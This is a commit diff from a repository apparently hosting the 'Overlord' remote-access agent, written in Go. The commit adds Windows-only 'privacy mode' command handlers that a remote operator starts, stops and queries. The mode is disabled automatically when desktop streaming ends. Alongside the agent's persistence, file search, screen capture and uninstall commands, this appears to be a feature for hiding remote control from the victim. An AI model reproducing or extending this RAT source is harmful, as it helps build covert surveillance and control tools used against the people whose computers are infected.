vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

privacy selector

Browse Source
This commit is contained in:
KingKDot
2026-07-10 23:44:46 -05:00
parent 43ee5a7d4b
commit 9adcbb24a5
9 changed files with 704 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/handlers/command.go
+58
View File
@@ -22,6 +22,7 @@ import (
"overlord-client/cmd/agent/filesearch"
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/privacy"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/securelog"
"overlord-client/cmd/agent/sysinfo"
@@ -86,6 +87,8 @@ func resetForReconnect(env *runtime.Env) {
return
}
privacy.Stop()
cancelAllCommands()
capture.ResetFrameSlots()
@@ -693,6 +696,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
env.DesktopCancel = nil
env.DesktopDone = nil
env.DesktopMu.Unlock()
if privacy.IsEnabled() {
privacy.Stop()
log.Printf("privacy: auto-disabled on desktop stop")
}
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "desktop_select_display":
@@ -2451,6 +2458,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "privacy_start":
payload, _ := envelope["payload"].(map[string]interface{})
_ = handlePrivacyStart(ctx, env, cmdID, payload)
return nil
case "privacy_stop":
_ = handlePrivacyStop(ctx, env, cmdID)
return nil
case "privacy_status":
_ = handlePrivacyStatus(ctx, env, cmdID)
return nil
case "uninstall":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
@@ -2572,3 +2589,44 @@ func toInt(v interface{}) int {
}
return 0
}
func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
if goruntime.GOOS != "windows" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false,
Message: "privacy mode is only supported on Windows",
})
}
if privacy.IsEnabled() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
Message: "privacy mode already active",
})
}
if err := privacy.Start(); err != nil {
log.Printf("privacy: start failed: %v", err)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false,
Message: err.Error(),
})
}
log.Printf("privacy: mode enabled")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
}
func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
privacy.Stop()
log.Printf("privacy: mode disabled")
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
}
func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error {
enabled := privacy.IsEnabled()
return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{
Type: "privacy_status", Enabled: enabled,
})
}